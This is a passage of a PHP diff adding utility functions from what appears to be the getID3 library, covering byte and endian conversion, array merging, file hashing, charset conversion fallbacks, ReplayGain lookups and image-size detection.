*/ + public static function LittleEndian2Bin($byteword) { + return self::BigEndian2Bin(strrev($byteword)); + } + + /** + * @param string $byteword + * + * @return string + */ + public static function BigEndian2Bin($byteword) { + $binvalue = ''; + $bytewordlen = strlen($byteword); + for ($i = 0; $i < $bytewordlen; $i++) { + $binvalue .= str_pad(decbin(ord($byteword[$i])), 8, '0', STR_PAD_LEFT); + } + return $binvalue; + } + + /** + * @param int $number + * @param int $minbytes + * @param bool $synchsafe + * @param bool $signed + * + * @return string + * @throws Exception + */ + public static function BigEndian2String($number, $minbytes=1, $synchsafe=false, $signed=false) { + if ($number < 0) { + throw new Exception('ERROR: self::BigEndian2String() does not support negative numbers'); + } + $maskbyte = (($synchsafe || $signed) ? 0x7F : 0xFF); + $intstring = ''; + if ($signed) { + if ($minbytes > PHP_INT_SIZE) { + throw new Exception('ERROR: Cannot have signed integers larger than '.(8 * PHP_INT_SIZE).'-bits in self::BigEndian2String()'); + } + $number = $number & (0x80 << (8 * ($minbytes - 1))); + } + while ($number != 0) { + $quotient = ($number / ($maskbyte + 1)); + $intstring = chr(ceil(($quotient - floor($quotient)) * $maskbyte)).$intstring; + $number = floor($quotient); + } + return str_pad($intstring, $minbytes, "\x00", STR_PAD_LEFT); + } + + /** + * @param int $number + * + * @return string + */ + public static function Dec2Bin($number) { + if (!is_numeric($number)) { + // https://github.com/JamesHeinrich/getID3/issues/299 + trigger_error('TypeError: Dec2Bin(): Argument #1 ($number) must be numeric, '.gettype($number).' given', E_USER_WARNING); + return ''; + } + $bytes = array(); + while ($number >= 256) { + $bytes[] = (int) (($number / 256) - (floor($number / 256))) * 256; + $number = floor($number / 256); + } + $bytes[] = (int) $number; + $binstring = ''; + foreach ($bytes as $i => $byte) { + $binstring = (($i == count($bytes) - 1) ? decbin($byte) : str_pad(decbin($byte), 8, '0', STR_PAD_LEFT)).$binstring; + } + return $binstring; + } + + /** + * @param string $binstring + * @param bool $signed + * + * @return int|float + */ + public static function Bin2Dec($binstring, $signed=false) { + $signmult = 1; + if ($signed) { + if ($binstring[0] == '1') { + $signmult = -1; + } + $binstring = substr($binstring, 1); + } + $decvalue = 0; + for ($i = 0; $i < strlen($binstring); $i++) { + $decvalue += ((int) substr($binstring, strlen($binstring) - $i - 1, 1)) * pow(2, $i); + } + return self::CastAsInt($decvalue * $signmult); + } + + /** + * @param string $binstring + * + * @return string + */ + public static function Bin2String($binstring) { + // return 'hi' for input of '0110100001101001' + $string = ''; + $binstringreversed = strrev($binstring); + for ($i = 0; $i < strlen($binstringreversed); $i += 8) { + $string = chr(self::Bin2Dec(strrev(substr($binstringreversed, $i, 8)))).$string; + } + return $string; + } + + /** + * @param int $number + * @param int $minbytes + * @param bool $synchsafe + * + * @return string + */ + public static function LittleEndian2String($number, $minbytes=1, $synchsafe=false) { + $intstring = ''; + while ($number > 0) { + if ($synchsafe) { + $intstring = $intstring.chr($number & 127); + $number >>= 7; + } else { + $intstring = $intstring.chr($number & 255); + $number >>= 8; + } + } + return str_pad($intstring, $minbytes, "\x00", STR_PAD_RIGHT); + } + + /** + * @param mixed $array1 + * @param mixed $array2 + * + * @return array|false + */ + public static function array_merge_clobber($array1, $array2) { + // written by kcØhireability*com + // taken from http://www.php.net/manual/en/function.array-merge-recursive.php + if (!is_array($array1) || !is_array($array2)) { + return false; + } + $newarray = $array1; + foreach ($array2 as $key => $val) { + if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { + $newarray[$key] = self::array_merge_clobber($newarray[$key], $val); + } else { + $newarray[$key] = $val; + } + } + return $newarray; + } + + /** + * @param mixed $array1 + * @param mixed $array2 + * + * @return array|false + */ + public static function array_merge_noclobber($array1, $array2) { + if (!is_array($array1) || !is_array($array2)) { + return false; + } + $newarray = $array1; + foreach ($array2 as $key => $val) { + if (is_array($val) && isset($newarray[$key]) && is_array($newarray[$key])) { + $newarray[$key] = self::array_merge_noclobber($newarray[$key], $val); + } elseif (!isset($newarray[$key])) { + $newarray[$key] = $val; + } + } + return $newarray; + } + + /** + * @param mixed $array1 + * @param mixed $array2 + * + * @return array|false|null + */ + public static function flipped_array_merge_noclobber($array1, $array2) { + if (!is_array($array1) || !is_array($array2)) { + return false; + } + # naturally, this only works non-recursively + $newarray = array_flip($array1); + foreach (array_flip($array2) as $key => $val) { + if (!isset($newarray[$key])) { + $newarray[$key] = count($newarray); + } + } + return array_flip($newarray); + } + + /** + * @param array $theArray + * + * @return bool + */ + public static function ksort_recursive(&$theArray) { + ksort($theArray); + foreach ($theArray as $key => $value) { + if (is_array($value)) { + self::ksort_recursive($theArray[$key]); + } + } + return true; + } + + /** + * @param string $filename + * @param int $numextensions + * + * @return string + */ + public static function fileextension($filename, $numextensions=1) { + if (strstr($filename, '.')) { + $reversedfilename = strrev($filename); + $offset = 0; + for ($i = 0; $i < $numextensions; $i++) { + $offset = strpos($reversedfilename, '.', $offset + 1); + if ($offset === false) { + return ''; + } + } + return strrev(substr($reversedfilename, 0, $offset)); + } + return ''; + } + + /** + * @param int $seconds + * + * @return string + */ + public static function PlaytimeString($seconds) { + $sign = (($seconds < 0) ? '-' : ''); + $seconds = round(abs($seconds)); + $H = (int) floor( $seconds / 3600); + $M = (int) floor(($seconds - (3600 * $H) ) / 60); + $S = (int) round( $seconds - (3600 * $H) - (60 * $M) ); + return $sign.($H ? $H.':' : '').($H ? str_pad($M, 2, '0', STR_PAD_LEFT) : intval($M)).':'.str_pad($S, 2, 0, STR_PAD_LEFT); + } + + /** + * @param int $macdate + * + * @return int|float + */ + public static function DateMac2Unix($macdate) { + // Macintosh timestamp: seconds since 00:00h January 1, 1904 + // UNIX timestamp: seconds since 00:00h January 1, 1970 + return self::CastAsInt($macdate - 2082844800); + } + + /** + * @param string $rawdata + * + * @return float + */ + public static function FixedPoint8_8($rawdata) { + return self::BigEndian2Int(substr($rawdata, 0, 1)) + (float) (self::BigEndian2Int(substr($rawdata, 1, 1)) / pow(2, 8)); + } + + /** + * @param string $rawdata + * + * @return float + */ + public static function FixedPoint16_16($rawdata) { + return self::BigEndian2Int(substr($rawdata, 0, 2)) + (float) (self::BigEndian2Int(substr($rawdata, 2, 2)) / pow(2, 16)); + } + + /** + * @param string $rawdata + * + * @return float + */ + public static function FixedPoint2_30($rawdata) { + $binarystring = self::BigEndian2Bin($rawdata); + return self::Bin2Dec(substr($binarystring, 0, 2)) + (float) (self::Bin2Dec(substr($binarystring, 2, 30)) / pow(2, 30)); + } + + + /** + * @param string $ArrayPath + * @param string $Separator + * @param mixed $Value + * + * @return array + */ + public static function CreateDeepArray($ArrayPath, $Separator, $Value) { + // assigns $Value to a nested array path: + // $foo = self::CreateDeepArray('/path/to/my', '/', 'file.txt') + // is the same as: + // $foo = array('path'=>array('to'=>'array('my'=>array('file.txt')))); + // or + // $foo['path']['to']['my'] = 'file.txt'; + $ArrayPath = ltrim($ArrayPath, $Separator); + $ReturnedArray = array(); + if (($pos = strpos($ArrayPath, $Separator)) !== false) { + $ReturnedArray[substr($ArrayPath, 0, $pos)] = self::CreateDeepArray(substr($ArrayPath, $pos + 1), $Separator, $Value); + } else { + $ReturnedArray[$ArrayPath] = $Value; + } + return $ReturnedArray; + } + + /** + * @param array $arraydata + * @param bool $returnkey + * + * @return int|false + */ + public static function array_max($arraydata, $returnkey=false) { + $maxvalue = false; + $maxkey = false; + foreach ($arraydata as $key => $value) { + if (!is_array($value)) { + if (($maxvalue === false) || ($value > $maxvalue)) { + $maxvalue = $value; + $maxkey = $key; + } + } + } + return ($returnkey ? $maxkey : $maxvalue); + } + + /** + * @param array $arraydata + * @param bool $returnkey + * + * @return int|false + */ + public static function array_min($arraydata, $returnkey=false) { + $minvalue = false; + $minkey = false; + foreach ($arraydata as $key => $value) { + if (!is_array($value)) { + if (($minvalue === false) || ($value < $minvalue)) { + $minvalue = $value; + $minkey = $key; + } + } + } + return ($returnkey ? $minkey : $minvalue); + } + + /** + * @param string $XMLstring + * + * @return array|false + */ + public static function XML2array($XMLstring) { + if (function_exists('simplexml_load_string') && function_exists('libxml_disable_entity_loader')) { + // http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html + // https://core.trac.wordpress.org/changeset/29378 + // This function has been deprecated in PHP 8.0 because in libxml 2.9.0, external entity loading is + // disabled by default, but is still needed when LIBXML_NOENT is used. + $loader = @libxml_disable_entity_loader(true); + $XMLobject = simplexml_load_string($XMLstring, 'SimpleXMLElement', LIBXML_NOENT); + $return = self::SimpleXMLelement2array($XMLobject); + @libxml_disable_entity_loader($loader); + return $return; + } + return false; + } + + /** + * @param SimpleXMLElement|array|mixed $XMLobject + * + * @return mixed + */ + public static function SimpleXMLelement2array($XMLobject) { + if (!is_object($XMLobject) && !is_array($XMLobject)) { + return $XMLobject; + } + $XMLarray = $XMLobject instanceof SimpleXMLElement ? get_object_vars($XMLobject) : $XMLobject; + foreach ($XMLarray as $key => $value) { + $XMLarray[$key] = self::SimpleXMLelement2array($value); + } + return $XMLarray; + } + + /** + * Returns checksum for a file from starting position to absolute end position. + * + * @param string $file + * @param int $offset + * @param int $end + * @param string $algorithm + * + * @return string|false + * @throws getid3_exception + */ + public static function hash_data($file, $offset, $end, $algorithm) { + if (!self::intValueSupported($end)) { + return false; + } + if (!in_array($algorithm, array('md5', 'sha1'))) { + throw new getid3_exception('Invalid algorithm ('.$algorithm.') in self::hash_data()'); + } + + $size = $end - $offset; + + $fp = fopen($file, 'rb'); + fseek($fp, $offset); + $ctx = hash_init($algorithm); + while ($size > 0) { + $buffer = fread($fp, min($size, getID3::FREAD_BUFFER_SIZE)); + hash_update($ctx, $buffer); + $size -= getID3::FREAD_BUFFER_SIZE; + } + $hash = hash_final($ctx); + fclose($fp); + + return $hash; + } + + /** + * @param string $filename_source + * @param string $filename_dest + * @param int $offset + * @param int $length + * + * @return bool + * @throws Exception + * + * @deprecated Unused, may be removed in future versions of getID3 + */ + public static function CopyFileParts($filename_source, $filename_dest, $offset, $length) { + if (!self::intValueSupported($offset + $length)) { + throw new Exception('cannot copy file portion, it extends beyond the '.round(PHP_INT_MAX / 1073741824).'GB limit'); + } + if (is_readable($filename_source) && is_file($filename_source) && ($fp_src = fopen($filename_source, 'rb'))) { + if (($fp_dest = fopen($filename_dest, 'wb'))) { + if (fseek($fp_src, $offset) == 0) { + $byteslefttowrite = $length; + while (($byteslefttowrite > 0) && ($buffer = fread($fp_src, min($byteslefttowrite, getID3::FREAD_BUFFER_SIZE)))) { + $byteswritten = fwrite($fp_dest, $buffer, $byteslefttowrite); + $byteslefttowrite -= $byteswritten; + } + fclose($fp_dest); + return true; + } else { + fclose($fp_src); + throw new Exception('failed to seek to offset '.$offset.' in '.$filename_source); + } + } else { + throw new Exception('failed to create file for writing '.$filename_dest); + } + } else { + throw new Exception('failed to open file for reading '.$filename_source); + } + } + + /** + * @param int $charval + * + * @return string + */ + public static function iconv_fallback_int_utf8($charval) { + if ($charval < 128) { + // 0bbbbbbb + $newcharstring = chr($charval); + } elseif ($charval < 2048) { + // 110bbbbb 10bbbbbb + $newcharstring = chr(($charval >> 6) | 0xC0); + $newcharstring .= chr(($charval & 0x3F) | 0x80); + } elseif ($charval < 65536) { + // 1110bbbb 10bbbbbb 10bbbbbb + $newcharstring = chr(($charval >> 12) | 0xE0); + $newcharstring .= chr(($charval >> 6) | 0xC0); + $newcharstring .= chr(($charval & 0x3F) | 0x80); + } else { + // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb + $newcharstring = chr(($charval >> 18) | 0xF0); + $newcharstring .= chr(($charval >> 12) | 0xC0); + $newcharstring .= chr(($charval >> 6) | 0xC0); + $newcharstring .= chr(($charval & 0x3F) | 0x80); + } + return $newcharstring; + } + + /** + * ISO-8859-1 => UTF-8 + * + * @param string $string + * @param bool $bom + * + * @return string + */ + public static function iconv_fallback_iso88591_utf8($string, $bom=false) { + if (function_exists('utf8_encode')) { + return utf8_encode($string); + } + // utf8_encode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support) + $newcharstring = ''; + if ($bom) { + $newcharstring .= "\xEF\xBB\xBF"; + } + for ($i = 0; $i < strlen($string); $i++) { + $charval = ord($string[$i]); + $newcharstring .= self::iconv_fallback_int_utf8($charval); + } + return $newcharstring; + } + + /** + * ISO-8859-1 => UTF-16BE + * + * @param string $string + * @param bool $bom + * + * @return string + */ + public static function iconv_fallback_iso88591_utf16be($string, $bom=false) { + $newcharstring = ''; + if ($bom) { + $newcharstring .= "\xFE\xFF"; + } + for ($i = 0; $i < strlen($string); $i++) { + $newcharstring .= "\x00".$string[$i]; + } + return $newcharstring; + } + + /** + * ISO-8859-1 => UTF-16LE + * + * @param string $string + * @param bool $bom + * + * @return string + */ + public static function iconv_fallback_iso88591_utf16le($string, $bom=false) { + $newcharstring = ''; + if ($bom) { + $newcharstring .= "\xFF\xFE"; + } + for ($i = 0; $i < strlen($string); $i++) { + $newcharstring .= $string[$i]."\x00"; + } + return $newcharstring; + } + + /** + * ISO-8859-1 => UTF-16LE (BOM) + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_iso88591_utf16($string) { + return self::iconv_fallback_iso88591_utf16le($string, true); + } + + /** + * UTF-8 => ISO-8859-1 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf8_iso88591($string) { + if (function_exists('utf8_decode')) { + return utf8_decode($string); + } + // utf8_decode() unavailable, use getID3()'s iconv_fallback() conversions (possibly PHP is compiled without XML support) + $newcharstring = ''; + $offset = 0; + $stringlength = strlen($string); + while ($offset < $stringlength) { + if ((ord($string[$offset]) | 0x07) == 0xF7) { + // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & + ((ord($string[($offset + 1)]) & 0x3F) << 12) & + ((ord($string[($offset + 2)]) & 0x3F) << 6) & + (ord($string[($offset + 3)]) & 0x3F); + $offset += 4; + } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { + // 1110bbbb 10bbbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & + ((ord($string[($offset + 1)]) & 0x3F) << 6) & + (ord($string[($offset + 2)]) & 0x3F); + $offset += 3; + } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { + // 110bbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & + (ord($string[($offset + 1)]) & 0x3F); + $offset += 2; + } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { + // 0bbbbbbb + $charval = ord($string[$offset]); + $offset += 1; + } else { + // error? throw some kind of warning here? + $charval = false; + $offset += 1; + } + if ($charval !== false) { + $newcharstring .= (($charval < 256) ? chr($charval) : '?'); + } + } + return $newcharstring; + } + + /** + * UTF-8 => UTF-16BE + * + * @param string $string + * @param bool $bom + * + * @return string + */ + public static function iconv_fallback_utf8_utf16be($string, $bom=false) { + $newcharstring = ''; + if ($bom) { + $newcharstring .= "\xFE\xFF"; + } + $offset = 0; + $stringlength = strlen($string); + while ($offset < $stringlength) { + if ((ord($string[$offset]) | 0x07) == 0xF7) { + // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & + ((ord($string[($offset + 1)]) & 0x3F) << 12) & + ((ord($string[($offset + 2)]) & 0x3F) << 6) & + (ord($string[($offset + 3)]) & 0x3F); + $offset += 4; + } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { + // 1110bbbb 10bbbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & + ((ord($string[($offset + 1)]) & 0x3F) << 6) & + (ord($string[($offset + 2)]) & 0x3F); + $offset += 3; + } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { + // 110bbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & + (ord($string[($offset + 1)]) & 0x3F); + $offset += 2; + } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { + // 0bbbbbbb + $charval = ord($string[$offset]); + $offset += 1; + } else { + // error? throw some kind of warning here? + $charval = false; + $offset += 1; + } + if ($charval !== false) { + $newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?'); + } + } + return $newcharstring; + } + + /** + * UTF-8 => UTF-16LE + * + * @param string $string + * @param bool $bom + * + * @return string + */ + public static function iconv_fallback_utf8_utf16le($string, $bom=false) { + $newcharstring = ''; + if ($bom) { + $newcharstring .= "\xFF\xFE"; + } + $offset = 0; + $stringlength = strlen($string); + while ($offset < $stringlength) { + if ((ord($string[$offset]) | 0x07) == 0xF7) { + // 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x07) << 18) & + ((ord($string[($offset + 1)]) & 0x3F) << 12) & + ((ord($string[($offset + 2)]) & 0x3F) << 6) & + (ord($string[($offset + 3)]) & 0x3F); + $offset += 4; + } elseif ((ord($string[$offset]) | 0x0F) == 0xEF) { + // 1110bbbb 10bbbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) & + ((ord($string[($offset + 1)]) & 0x3F) << 6) & + (ord($string[($offset + 2)]) & 0x3F); + $offset += 3; + } elseif ((ord($string[$offset]) | 0x1F) == 0xDF) { + // 110bbbbb 10bbbbbb + $charval = ((ord($string[($offset + 0)]) & 0x1F) << 6) & + (ord($string[($offset + 1)]) & 0x3F); + $offset += 2; + } elseif ((ord($string[$offset]) | 0x7F) == 0x7F) { + // 0bbbbbbb + $charval = ord($string[$offset]); + $offset += 1; + } else { + // error? maybe throw some warning here? + $charval = false; + $offset += 1; + } + if ($charval !== false) { + $newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00"); + } + } + return $newcharstring; + } + + /** + * UTF-8 => UTF-16LE (BOM) + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf8_utf16($string) { + return self::iconv_fallback_utf8_utf16le($string, true); + } + + /** + * UTF-16BE => UTF-8 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf16be_utf8($string) { + if (substr($string, 0, 2) == "\xFE\xFF") { + // strip BOM + $string = substr($string, 2); + } + $newcharstring = ''; + for ($i = 0; $i < strlen($string); $i += 2) { + $charval = self::BigEndian2Int(substr($string, $i, 2)); + $newcharstring .= self::iconv_fallback_int_utf8($charval); + } + return $newcharstring; + } + + /** + * UTF-16LE => UTF-8 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf16le_utf8($string) { + if (substr($string, 0, 2) == "\xFF\xFE") { + // strip BOM + $string = substr($string, 2); + } + $newcharstring = ''; + for ($i = 0; $i < strlen($string); $i += 2) { + $charval = self::LittleEndian2Int(substr($string, $i, 2)); + $newcharstring .= self::iconv_fallback_int_utf8($charval); + } + return $newcharstring; + } + + /** + * UTF-16BE => ISO-8859-1 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf16be_iso88591($string) { + if (substr($string, 0, 2) == "\xFE\xFF") { + // strip BOM + $string = substr($string, 2); + } + $newcharstring = ''; + for ($i = 0; $i < strlen($string); $i += 2) { + $charval = self::BigEndian2Int(substr($string, $i, 2)); + $newcharstring .= (($charval < 256) ? chr($charval) : '?'); + } + return $newcharstring; + } + + /** + * UTF-16LE => ISO-8859-1 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf16le_iso88591($string) { + if (substr($string, 0, 2) == "\xFF\xFE") { + // strip BOM + $string = substr($string, 2); + } + $newcharstring = ''; + for ($i = 0; $i < strlen($string); $i += 2) { + $charval = self::LittleEndian2Int(substr($string, $i, 2)); + $newcharstring .= (($charval < 256) ? chr($charval) : '?'); + } + return $newcharstring; + } + + /** + * UTF-16 (BOM) => ISO-8859-1 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf16_iso88591($string) { + $bom = substr($string, 0, 2); + if ($bom == "\xFE\xFF") { + return self::iconv_fallback_utf16be_iso88591(substr($string, 2)); + } elseif ($bom == "\xFF\xFE") { + return self::iconv_fallback_utf16le_iso88591(substr($string, 2)); + } + return $string; + } + + /** + * UTF-16 (BOM) => UTF-8 + * + * @param string $string + * + * @return string + */ + public static function iconv_fallback_utf16_utf8($string) { + $bom = substr($string, 0, 2); + if ($bom == "\xFE\xFF") { + return self::iconv_fallback_utf16be_utf8(substr($string, 2)); + } elseif ($bom == "\xFF\xFE") { + return self::iconv_fallback_utf16le_utf8(substr($string, 2)); + } + return $string; + } + + /** + * @param string $in_charset + * @param string $out_charset + * @param string $string + * + * @return string + * @throws Exception + */ + public static function iconv_fallback($in_charset, $out_charset, $string) { + + if ($in_charset == $out_charset) { + return $string; + } + + // mb_convert_encoding() available + if (function_exists('mb_convert_encoding')) { + if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) { + // if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM + $string = "\xFF\xFE".$string; + } + if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) { + if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) { + // if string consists of only BOM, mb_convert_encoding will return the BOM unmodified + return ''; + } + } + if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) { + switch ($out_charset) { + case 'ISO-8859-1': + $converted_string = rtrim($converted_string, "\x00"); + break; + } + return $converted_string; + } + return $string; + + // iconv() available + } elseif (function_exists('iconv')) { + if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) { + switch ($out_charset) { + case 'ISO-8859-1': + $converted_string = rtrim($converted_string, "\x00"); + break; + } + return $converted_string; + } + + // iconv() may sometimes fail with "illegal character in input string" error message + // and return an empty string, but returning the unconverted string is more useful + return $string; + } + + + // neither mb_convert_encoding or iconv() is available + static $ConversionFunctionList = array(); + if (empty($ConversionFunctionList)) { + $ConversionFunctionList['ISO-8859-1']['UTF-8'] = 'iconv_fallback_iso88591_utf8'; + $ConversionFunctionList['ISO-8859-1']['UTF-16'] = 'iconv_fallback_iso88591_utf16'; + $ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be'; + $ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le'; + $ConversionFunctionList['UTF-8']['ISO-8859-1'] = 'iconv_fallback_utf8_iso88591'; + $ConversionFunctionList['UTF-8']['UTF-16'] = 'iconv_fallback_utf8_utf16'; + $ConversionFunctionList['UTF-8']['UTF-16BE'] = 'iconv_fallback_utf8_utf16be'; + $ConversionFunctionList['UTF-8']['UTF-16LE'] = 'iconv_fallback_utf8_utf16le'; + $ConversionFunctionList['UTF-16']['ISO-8859-1'] = 'iconv_fallback_utf16_iso88591'; + $ConversionFunctionList['UTF-16']['UTF-8'] = 'iconv_fallback_utf16_utf8'; + $ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591'; + $ConversionFunctionList['UTF-16LE']['UTF-8'] = 'iconv_fallback_utf16le_utf8'; + $ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591'; + $ConversionFunctionList['UTF-16BE']['UTF-8'] = 'iconv_fallback_utf16be_utf8'; + } + if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) { + $ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)]; + return self::$ConversionFunction($string); + } + throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset); + } + + /** + * @param mixed $data + * @param string $charset + * + * @return mixed + */ + public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') { + if (is_string($data)) { + return self::MultiByteCharString2HTML($data, $charset); + } elseif (is_array($data)) { + $return_data = array(); + foreach ($data as $key => $value) { + $return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset); + } + return $return_data; + } + // integer, float, objects, resources, etc + return $data; + } + + /** + * @param string|int|float $string + * @param string $charset + * + * @return string + */ + public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') { + $string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string + $HTMLstring = ''; + + switch (strtolower($charset)) { + case '1251': + case '1252': + case '866': + case '932': + case '936': + case '950': + case 'big5': + case 'big5-hkscs': + case 'cp1251': + case 'cp1252': + case 'cp866': + case 'euc-jp': + case 'eucjp': + case 'gb2312': + case 'ibm866': + case 'iso-8859-1': + case 'iso-8859-15': + case 'iso8859-1': + case 'iso8859-15': + case 'koi8-r': + case 'koi8-ru': + case 'koi8r': + case 'shift_jis': + case 'sjis': + case 'win-1251': + case 'windows-1251': + case 'windows-1252': + $HTMLstring = htmlentities($string, ENT_COMPAT, $charset); + break; + + case 'utf-8': + $strlen = strlen($string); + for ($i = 0; $i < $strlen; $i++) { + $char_ord_val = ord($string[$i]); + $charval = 0; + if ($char_ord_val < 0x80) { + $charval = $char_ord_val; + } elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F && $i+3 < $strlen) { + $charval = (($char_ord_val & 0x07) << 18); + $charval += ((ord($string[++$i]) & 0x3F) << 12); + $charval += ((ord($string[++$i]) & 0x3F) << 6); + $charval += (ord($string[++$i]) & 0x3F); + } elseif ((($char_ord_val & 0xE0) >> 5) == 0x07 && $i+2 < $strlen) { + $charval = (($char_ord_val & 0x0F) << 12); + $charval += ((ord($string[++$i]) & 0x3F) << 6); + $charval += (ord($string[++$i]) & 0x3F); + } elseif ((($char_ord_val & 0xC0) >> 6) == 0x03 && $i+1 < $strlen) { + $charval = (($char_ord_val & 0x1F) << 6); + $charval += (ord($string[++$i]) & 0x3F); + } + if (($charval >= 32) && ($charval <= 127)) { + $HTMLstring .= htmlentities(chr($charval)); + } else { + $HTMLstring .= '&#'.$charval.';'; + } + } + break; + + case 'utf-16le': + for ($i = 0; $i < strlen($string); $i += 2) { + $charval = self::LittleEndian2Int(substr($string, $i, 2)); + if (($charval >= 32) && ($charval <= 127)) { + $HTMLstring .= chr($charval); + } else { + $HTMLstring .= '&#'.$charval.';'; + } + } + break; + + case 'utf-16be': + for ($i = 0; $i < strlen($string); $i += 2) { + $charval = self::BigEndian2Int(substr($string, $i, 2)); + if (($charval >= 32) && ($charval <= 127)) { + $HTMLstring .= chr($charval); + } else { + $HTMLstring .= '&#'.$charval.';'; + } + } + break; + + default: + $HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()'; + break; + } + return $HTMLstring; + } + + /** + * @param int $namecode + * + * @return string + */ + public static function RGADnameLookup($namecode) { + static $RGADname = array(); + if (empty($RGADname)) { + $RGADname[0] = 'not set'; + $RGADname[1] = 'Track Gain Adjustment'; + $RGADname[2] = 'Album Gain Adjustment'; + } + + return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : ''); + } + + /** + * @param int $originatorcode + * + * @return string + */ + public static function RGADoriginatorLookup($originatorcode) { + static $RGADoriginator = array(); + if (empty($RGADoriginator)) { + $RGADoriginator[0] = 'unspecified'; + $RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer'; + $RGADoriginator[2] = 'set by user'; + $RGADoriginator[3] = 'determined automatically'; + } + + return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : ''); + } + + /** + * @param int $rawadjustment + * @param int $signbit + * + * @return float + */ + public static function RGADadjustmentLookup($rawadjustment, $signbit) { + $adjustment = (float) $rawadjustment / 10; + if ($signbit == 1) { + $adjustment *= -1; + } + return $adjustment; + } + + /** + * @param int $namecode + * @param int $originatorcode + * @param int $replaygain + * + * @return string + */ + public static function RGADgainString($namecode, $originatorcode, $replaygain) { + if ($replaygain < 0) { + $signbit = '1'; + } else { + $signbit = '0'; + } + $storedreplaygain = intval(round($replaygain * 10)); + $gainstring = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT); + $gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT); + $gainstring .= $signbit; + $gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT); + + return $gainstring; + } + + /** + * @param float $amplitude + * + * @return float + */ + public static function RGADamplitude2dB($amplitude) { + return 20 * log10($amplitude); + } + + /** + * @param string $imgData + * @param array $imageinfo + * + * @return array|false + */ + public static function GetDataImageSize($imgData, &$imageinfo=array()) { + if (PHP_VERSION_ID >= 50400) { + $GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo); + if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) { + return false; + } + $GetDataImageSize['height'] = $GetDataImageSize[0]; + $GetDataImageSize['width'] = $GetDataImageSize[1]; + return $GetDataImageSize; + } + static $tempdir = ''; + if (empty($tempdir)) { + if (function_exists('sys_get_temp_dir')) { + $tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52 + } + + // yes this is ugly, feel free to suggest a better way + if (include_once(dirname(__FILE__).'/getid3.php')) { + $getid3_temp = new getID3(); + if ($getid3_temp_tempdir = $getid3_temp->tempdir) { + $tempdir = $getid3_temp_tempdir; + } + unset($getid3_temp, $getid3_temp_tempdir); + } + } + $GetDataImageSize = false; + if ($tempfilename = tempnam($tempdir, 'gI3')) { + if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) { + fwrite($tmp, $imgData); + fclose($tmp); + $GetDataImageSize = @getimagesize($tempfilename, $imageinfo); + if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) { + return false; + } + $GetDataImageSize['height'] = $GetDataImageSize[0]; + $GetDataImageSize['width'] = 